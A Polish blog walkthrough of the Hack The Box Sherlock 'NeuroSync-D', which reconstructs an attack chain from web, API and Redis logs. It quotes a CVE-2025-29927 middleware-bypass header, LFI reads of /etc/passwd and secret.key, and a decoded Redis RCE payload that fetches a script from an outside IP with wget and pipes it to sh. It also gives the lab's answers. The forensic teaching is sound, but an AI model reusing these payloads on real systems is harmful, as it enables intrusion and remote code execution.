// WALKTHROUGH

[*] NeuroSync-D Walkthrough - Analiza logów

20.08.2025 | autor: Kamil Górczyński czas czytania: 12 min

Cześć!

Jako pierwszy artykuł na moim blogu zdecydowałem się na walkthrough Sherlocka Hack The Box - NeuroSync-D, który świetnie nadaje się również do opisania ręcznej analizy logów. Nie zawsze z różnych powodów możemy mieć dostęp do systemów typu SIEM, które ułatwiają to zadanie, dlatego warto poznać jak można to zrobić ręcznie. Jest to Sherlock typu Easy, więc nie powinien sprawić zbyt dużo problemów.

PRZYGOTOWANIE ŚRODOWISKA

Po rozpakowaniu .zip mamy pięć plików .log:

access.log
bci-device.log
data-api.log
interface.log
redis.log

Na samym początku warto potwierdzić typ plików za pomocą komendy 'file', na przykładzie access.log:

file access.log
# access.log: ASCII text - widzimy że jest to plik tekstowy

Kolejną rzeczą wartą sprawdzenia jest ilość linii w danym pliku. Przykład redis.log:

wc -l redis.log
# 104 redis.log - plik zawiera 104 linie

Możemy również użyć samej komendy wc, która da nam dodatkowe informacje jak liczba słów czy znaków, jednak w naszym przypadku interesuje nas głównie pierwsza wartość.

Po tym krótkim wprowadzeniu możemy przejść już do samego zadania.

ANALIZA WERSJI NEXT.JS

Aby odpowiedzieć na pierwsze pytanie, musimy sprawdzić zawartość logów interface.log. Możemy to zrobić za pomocą komendy head interface.log, która pokaże nam 10 pierwszych linijek.

What version of Next.js is the application using?

head interface.log

Wersja Next.js w logach interface.log

Odpowiedź: 15.1.0

What local port is the Next.js-based application running on?

Odpowiedź: 3000

RESEARCH CVE

Tutaj musimy wykorzystać swoje umiejętności researchu :)

A critical Next.js vulnerability was released in March 2025, and this version appears to be affected. What is the CVE identifier for this vulnerability?

Odpowiedź: CVE-2025-29927

ENUMERACJA PLIKÓW

Ponownie posłużymy się komendą head access.log. Na przykładzie logów widzimy, że dwie pierwsze próby enumeracji plików kończą się odpowiedzią 404. Pierwszy plik 200 OK to main-app.js.

The attacker tried to enumerate some static files that are typically available in the Next.js framework, most likely to retrieve its version. What is the first file he could get?

head access.log

Enumeracja plików statycznych Next.js

Odpowiedź: main-app.js

WYKRYWANIE PODATNEGO ENDPOINTU

Dalej bazujemy na pliku access.log, widzimy że pierwszy endpoint odpowiada kodem 401 czyli 'Unauthorized'.

Then the attacker appears to have found an endpoint that is potentially affected by the previously identified vulnerability. What is that endpoint?

Odpowiedź: /api/bci/analytics

LICZENIE NIEAUTORYZOWANYCH ŻĄDAŃ

Możemy po prostu policzyć ręcznie lub wykorzystać poniższą komendę:

cut access.log -d " " -f 9 | sort | uniq -c | sort -nr

Wyjaśnienie komendy:

cut – wycina określone pola z każdej linii pliku
-d " " – ustawia separator pól (tutaj spacja)
-f 9 – wybiera 9. pole z każdej linii
sort - sortuje wszystkie wartości w kolejności rosnącej
uniq -c - usuwa duplikaty i liczy wystąpienie każdego unikalnego wpisu
sort -nr - sortowanie numeryczne od największego do najmniejszego

How many requests to this endpoint have resulted in an "Unauthorized" response?

Analiza kodów odpowiedzi HTTP

Odpowiedź: 5

POMYŚLNE OMINIĘCIE MIDDLEWARE

Kod 200 sugeruje nam otrzymanie dostępu do zasobów.

When is a successful response received from the vulnerable endpoint, meaning that the middleware has been bypassed?

Timestamp pomyślnego ataku

Odpowiedź: 2025-04-01 11:38:05

ANALIZA PODATNEGO NAGŁÓWKA

Aby odpowiedzieć na to pytanie musimy przeanalizować plik interface.log. Widzimy, że każde kolejne żądanie dodaje kolejną powtórkę :middleware do nagłówka. Ostatnie nieudane żądanie miało cztery powtórki, a kolejne (zwiększone o jeden) będzie miało już pięć powtórzeń (HTTP 200).

Given the previous failed requests, what will most likely be the final value for the vulnerable header used to exploit the vulnerability and bypass the middleware?

Analiza nagłówka x-middleware-subrequest

Ewolucja podatnego nagłówka

Odpowiedź: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

WYKRYWANIE WEWNĘTRZNEGO API

Po odczytaniu pliku data-api.log od razu widzimy, że kolejna aplikacja działa na porcie 4000.

The attacker chained the vulnerability with an SSRF attack, which allowed them to perform an internal port scan and discover an internal API. On which port is the API accessible?

Wykrycie wewnętrznego API na porcie 4000

Odpowiedź: 4000

BRUTE-FORCE ENDPOINTÓW

W logach data-api.log widzimy enumerację kolejnych endpointów typu /analytics czy /version, jednak nie wydają się być one podatne. Pierwszym ciekawym znaleziskiem jest /logs.

After the port scan, the attacker starts a brute-force attack to find some vulnerable endpoints in the previously identified API. Which vulnerable endpoint was found?

Brute-force endpointów API

Odpowiedź: /logs

PIERWSZY ZŁOŚLIWY ATAK

Pierwszy raz kiedy atakujący postanowił wykorzystać ten podatny endpoint to moment, w którym próbował przeczytać plik /etc/passwd.

When the vulnerable endpoint found was used maliciously for the first time?

Pierwszy atak LFI na /etc/passwd

Odpowiedź: 2025-04-01 11:39:01

IDENTYFIKACJA TYPU ATAKU

Próba odczytania lokalnych plików za pomocą manipulowania parametrem 'logFile' to Local File Inclusion.

What is the attack name the endpoint is vulnerable to?

Odpowiedź: Local File Inclusion

OSTATNI WYKORZYSTANY PLIK

W trakcie analizy widzimy, że ostatni dostęp do pliku za pomocą LFI został uzyskany do secret.key. Możemy to również sprawdzić za pomocą komendy 'grep'.

What is the name of the file that was targeted the last time the vulnerable endpoint was exploited?

Odczytanie pliku secret.key

Odpowiedź: secret.key

REDIS INJECTION I RCE

Odpowiedź na to pytanie znajduje się w logach redis. Widzimy dwie podejrzane komendy:

1743507485.832728 [0 127.0.0.1:43100] "rpush" "analyticsLogs" "{\"timestamp\":\"2025-04-01T11:38:05.832Z\",\"ip\":\"::ffff:127.0.0.1\",\"route\":\"/analytics\"}"
1743507530.492892 [0 127.0.0.1:43100] "rpush" "analyticsLogs" "{\"timestamp\":\"2025-04-01T11:38:50.492Z\",\"ip\":\"::ffff:127.0.0.1\",\"route\":\"/analytics\"}"

Jednak dopiero trzecia okazuje się prawidłowa.

Finally, the attacker uses the sensitive information obtained earlier to create a special command that allows them to perform Redis injection and gain RCE on the system. What is the command string?

Odpowiedź:

OS_EXEC|d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb

DEKODOWANIE BASE64

Prosta komenda base64 -d pozwoli nam odszyfrować i sprawdzić prawdziwe działanie komendy.

echo "d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo" | base64 -d
                

What is the decoded command string?

Dekodowanie złośliwej komendy

Odpowiedź: wget http://185.202.2.147/h4Pln4/run.sh -O- | sh

WNIOSKI

Ten walkthrough pokazał jak ważna jest ręczna analiza logów w przypadku incydentów bezpieczeństwa. Poznaliśmy łańcuch ataków od enumeracji wersji Next.js, przez wykorzystanie podatności CVE-2025-29927, SSRF, Local File Inclusion, aż po Redis injection prowadzący do RCE.

Kluczowe umiejętności które wykorzystaliśmy:

Podstawowe komendy Unix (head, wc, cut, sort, uniq, grep)
Analiza logów aplikacji webowych
Identyfikacja wzorców ataków
Dekodowanie base64
Research podatności (CVE)

Tego typu analizy są niezbędne w codziennej pracy analityka bezpieczeństwa, szczególnie gdy nie mamy dostępu do zaawansowanych narzędzi SIEM.

HTB Sherlock Log Analysis Next.js CVE-2025-29927 LFI Redis Injection RCE